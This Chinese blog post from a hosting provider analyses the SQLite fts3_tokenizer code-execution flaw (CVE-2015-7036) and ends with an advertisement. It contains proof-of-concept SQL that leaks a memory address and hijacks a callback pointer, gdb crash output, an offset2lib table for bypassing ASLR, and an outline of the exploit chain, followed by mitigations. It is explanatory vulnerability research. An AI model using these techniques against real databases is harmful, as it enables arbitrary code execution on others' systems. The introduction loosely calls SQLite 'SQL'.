服务器租用数据库中的SQLite漏洞分析
SQL是服务器租赁用户的常用数据库。但是,最近的分析表明,SQL数据库中存在两个溢出漏洞。这里将解释相关原理。
01 什么是内存破坏漏洞
SQLite是一款轻型数据库,是遵守ACID的关系型数据管理系统,它包含在一个相对小的C库中。作为一款嵌入式数据库,他因占用的资源非常低,数据处理速度快等优点被Andriod、WebKit等流行软件采用。说起SQLite的内存破坏漏洞,共分为两种类型,一是由SQLite数据库的文件格式引起的内存损坏漏洞,如CVE-2015-7036,CVE-2017-10989,另一个是SQLite解析器触发的sql语句中的错误。CVE-2015-3414,CVE-2015-3415。
提起CVE-2015-7036,fts3_tokenizer是一个绕不开的话题。这是发生在Apple iOS 8.4以前版本和 OS X 10.10.4版本以前的漏洞,原因是内置的SQLite的fts3_tokenizer函数存在任意命令执行漏洞,远程攻击者可以通过SQL命令执行任意指令或导致系统崩溃,拒绝服务。让我们来一起看看这个能让号称最安全的苹果系统都中招的fts3_tokenizer到底是何方神圣。
sqlite中支持fts表(full-text search的简称),fts3其实是sqlite的一个扩展模块,是虚拟表模块,允许用户使用 MATCH ‘keyword’ 查询而非 LIKE ‘%keyword%’ 子串匹配的方式实现全文检索。在实现全文搜索的过程中,对原始内容进行分词是一个必须的过程。SQLite内置的simple和porter分词器只能支持ASCII字符的英文分词,为满足不同语言的需求,SQLite 3.7.13开始引入unicode61分词器以支持unicode,并提供给开发者自行添加分词器的接口。
02 fts3_tokenizer的两种入侵方式
sqlite在fts3_tokenizer.h中提供了各种接口供用户自定义分词器,但其并未提供c函数供用户来注册自定义的分词器,分词器的注册必须使用sql语句来完成。
1、fts3_tokenizer();
参数中的tokenizer-name是分词器的名称,该用法的返回值是指定名字分词器的sqlite3_tokenizer_module 结构体指针,以 blob 类型表示16进制的一个大端序的内存地址。该用法本来是用来检查分词器是否被注册。但是同时我们也发现,如果是探测一个已经存在的分词器返回值是一个内存地址。在 fts3.c 中可以看到 SQLite3 默认注册了内置分词器 simple 和 porter:
if( sqlite3Fts2HashInsert(pHash, "simple", 7, (void *)pSimple)|| sqlite3Fts2HashInsert(pHash, "porter", 7, (void *)pPorter)
以 simple 分词器为例,其注册的指针指向静态区的 simpleTokenizerModule。
static const sqlite3_tokenizer_module simpleTokenizerModule = { 0,
simpleCreate,
simpleDestroy,
simpleOpen,
simpleClose,
simpleNext,
};
通过获得这个指针,获得 sqlite3 的基地址,根据不同版本调整偏移量,可以计算绕过 ASLR保护机制:
SQLite version 3.8.10.2 2015-05-20 18:17:19
Enter ".help" for usage hints.
Connected to a transient in-memory database.
Use ".open FILENAME" to reopen on a persistent database.
sqlite> select hex(fts3_tokenizer(simple'));
A0CE0D3321560000
sqlite>
root@kali:/usr/local/bin# grep sqlite /proc/20261/maps
555555554000-555555623000 r-xp 00000000 fe:00 3417560 /usr/local/bin/sqlite3
555555822000-555555825000 r--p 000ce000 fe:00 3417560 /usr/local/bin/sqlite3
555555825000-555555828000 rw-p 000d1000 fe:00 3417560 /usr/local/bin/sqlite3
这里提一下关于绕过ASLR保护机制的相关内容:
ASLR(Address Space Layout Randomization),地址空间格局的随机化,就是用来防范Ret2libc攻击手段的另一个重要的安全特性。在你知道目标代码或数据定位的前提下,它可以变成一种规避攻击的技术。正因为黑客并不知道整个地址空间的布局,ASLR技术变得极为有效。只有当可执行程序编译为PIE时(地址无关可执行文件),才能最大限度地从ASLR技术那里获得保护,因为其所有组成部分都是从随机地址加载的。
然而,当可执行文件被编译成PIE之后,GNU/Linux下的ASLR实现的过程中,会出现一个名为Offset2lib安全漏洞,其专门用于绕过在GNU/Linux下如ASLR之类的对于普通漏洞的常用防护。
正常情况下,可能需要大概五步进行攻击,攻击的流程总结如下:
提取静态信息
暴力获取saved-IP部分
计算应用基址
计算offset2lib常量
获得内存映射区域
首先,我们的攻击对目标程序和其执行环境做一个离线分析。利用标准的缓冲区溢出漏洞来暴力获取被ASLR隐藏的保存在栈里的应用代码的saved-IP地址(应用地址),这多亏了目标的fork服务器结构。一旦我们获得了目标应用的完整地址,应用的基址就能被计算出来。最后一步则是对整个库做内存映射,这将决定于目标GNU/Linux的版本。获得隐藏的未明信息后,利用ROP应用获得远程shell是非常容易的。
因为fts3_tokenizer好心的提醒了我们基址地址,甚至不需要前三步的计算,通过union或者盲注,我们可以获取到这个基地址信息。
计算出目标库的offset2lib值,它会因系统的不同而不同,但相互之间有很大的相似性。获得这些offset2lib的值有一个迅捷的办法,那就是本地执行该应用,打印出偏移量。offset2lib并不决定于应用本身,我们需要为特定Linux系统版本量身计算。
Distribution Libc ver. Offset2lib
CentOS 6.5 2.12 0x5b6000
Debian 7.1 2.13 0x5ac000
Ubuntu 12.04 2.15 0x5e4000
Ubuntu 12.10 2.15 0x5e4000
libc(Linux下的ANSI C的函数库。 ANSI C是基本的C语言函数库,包含了C语言最基本的库函数)的基址都可以通过可执行文件基址减去offset2lib值来计算:
Libc_base = App_base - offset2lib
获取到libc的内存地址之后的目标就是获取shell了。可以借助ROP(现代栈溢出利用技术基础)来实现,本文就不详细介绍了。
这里的sqlite3_tokenizer_module ptr表示一个指向sqlite3_tokenizer_module结构的指针并且编码为SQL blob。这种用法用来注册新的分词器,在SQL下执行此形式语句,即可注册一个的分词器。没错,这里就是把指针当成参数直接放进SQL语句中了,这个指针指向一个 sqlite3_tokenizer_module 结构体,前文已经提到其中包含数个回调函数指针,注册完成分词器后,SQLite3 在处理一些 SQL 查询时将会执行分词器的回调函数以获得结果。
攻击者构造出一个结构体之后,获取到该结构体的内存地址,并使用 SQL 注入等手段让目标注册构造好的“分词器”,再通过 SQL 触发特殊回调就可以实现劫持 IP 寄存器,执行任意代码。接下来进一步分析这个攻击面是否可以被利用。
SQLite version 3.8.10.2 2015-05-20 18:17:19
Enter ".help" for usage hints.
Connected to a transient in-memory database.
Use ".open FILENAME" to reopen on a persistent database.
sqlite> select fts3_tokenizer('simple', x'4141414141414141'); create virtual table a using fts3;
AAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0x00005555555a2178 in sqlite3Fts3InitTokenizer (pHash=pHash@entry=0x55555582d7c8, zArg=zArg@entry=0x5555556019cf "simple",
ppTok=ppTok@entry=0x7fffffffc7d8, pzErr=pzErr@entry=0x7fffffffc8f8) at sqlite3.c:141967
141967 rc = m->xCreate(iArg, aArg, ppTok);
用gdb查看崩溃的上下文:
[----------------------------------registers-----------------------------------]rax 0x4141414141414141 4702111234474983745
rbx 0x0 0
rcx 0x0 0
rdx 0x7fffffffc7d8 140737488340952
rsi 0x0 0
rdi 0x0 0
rbp 0x0 0x0
rsp 0x7fffffffc6b0 0x7fffffffc6b0
r8 0x60 96
r9 0x73 115
r10 0x555555604aa0 93824992955040
r11 0x1 1
r12 0x0 0
r13 0x55555583f8ee 93824995293422
r14 0x7fffffffc6dc 140737488340700
r15 0x55555583f8e8 93824995293416
rip 0x5555555a2178 0x5555555a2178
eflags 0x10297 [ CF PF AF SF IF RF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
[-------------------------------------code-------------------------------------]
0x00005555555a2173 <+307>: mov %r12,%rsi
0x00005555555a2176 <+310>: mov %ebx,%edi
=> 0x00005555555a2178 <+312>: callq *0x8(%rax)
0x00005555555a217b <+315>: test %eax,%eax
0x00005555555a217d <+317>: mov %eax,%ebp
0x00005555555a217f <+319>: jne 0x5555555a21d8
0x00005555555a2181 <+321>: mov (%rsp),%rax
0x00005555555a2185 <+325>: mov 0x18(%rsp),%rdx
0x00005555555a218a <+330>: mov (%rax),%rax
0x00005555555a218d <+333>: mov %rdx,(%rax)
0x00005555555a2190 <+336>: mov %r12,%rdi
rax 注册时提交的指针参数,cast将blob类型数据转换为指针,SQLite 完全没有对指针做任何有效性检查,直接进行了回调的调用。其对应源代码位于 ext/fts3/fts3_tokenizer.c 的 sqlite3Fts3InitTokenizer 函数:
m = (sqlite3_tokenizer_module *)sqlite3Fts3HashFind(pHash,z,(int)strlen(z)+1); if( !m ){
sqlite3Fts3ErrMsg(pzErr, "unknown tokenizer: %s", z);
rc = SQLITE_ERROR;
}else{ char const **aArg = 0;
… (省略部分代码)
rc = m->xCreate(iArg, aArg, ppTok);
assert( rc!=SQLITE_OK || *ppTok ); if( rc!=SQLITE_OK ){
sqlite3Fts3ErrMsg(pzErr, "unknown tokenizer");
}else{
首先利用fts3_tokenizer的第一种方式,查询到sqlite基地址,注意结果是大端序。根据 select sqlite_version() 函数泄漏的版本信息调整偏移量,执行 PRAGMA soft_heap_limit 语句布置需要 call 的目标指令地址,向一个已知内存地址写入一个函数指针,然后这个地址转换为blob类型,作为fts3_tokenizer 函数的第二个参数,进而注册了一个“分词器”,最后通过创建虚拟表,触发 xCreate 回调函数,导致eip劫持,允许远程攻击者执行任意代码。
03 亡羊补牢犹未晚
虽然这不是 SQLite 的漏洞,但滥用这一特性可能导致应用程序产生攻击面。禁用这一特性可以起到缓解的效果。比如Andriod甚至是SQLite自己都在3.11版本就采用了直接禁用这种方式。
重写函数也不为是一个不错的办法,十分流行的WebKit也曾提供选择禁用Web SQL Database作为本地数据库,它采用的语言就是SQLite,但已经被W3C标准移除了。现在WebKit也重写了函数。
但是只是简单的白名单过滤并不是一个优秀的处理方式,Safari浏览器采用sqlite3_set_authorizer()用来授权SQL语句行为,并通过白名单控制了可以执行的SQL语句,但CVE-2015-3659中明确说了如何绕过白名单,同样执行任意代码,或者导致拒绝服务,系统崩溃。
总结一下修复和处理的方式:
如果用不到全文检索,可通过关闭 SQLITE_ENABLE_FTS3 / SQLITE_ENABLE_FTS4 / SQLITE_ENABLE_FTS5 选项禁用之,或者使用 Amalgamation 版本编译;
如果需要使用 MATCH 检索,但不需要支持多国语言(即内置分词器可以满足要求),找到 ext/fts3/fts3.c 中注释掉如下一行代码关闭此函数:
&& SQLITE_OK==(rc = sqlite3Fts3InitHashTable(db, pHash, “fts3_tokenizer”))
使用 SQLite3 的 Authorization Callbacks 设置访问控制
希望云网时代小编的分享能够对大家有所帮助,云网时代专业提供深圳服务租用,深圳服务托管,深圳主机租用,云主机租用等服务器相关产品,详情咨询客服了解。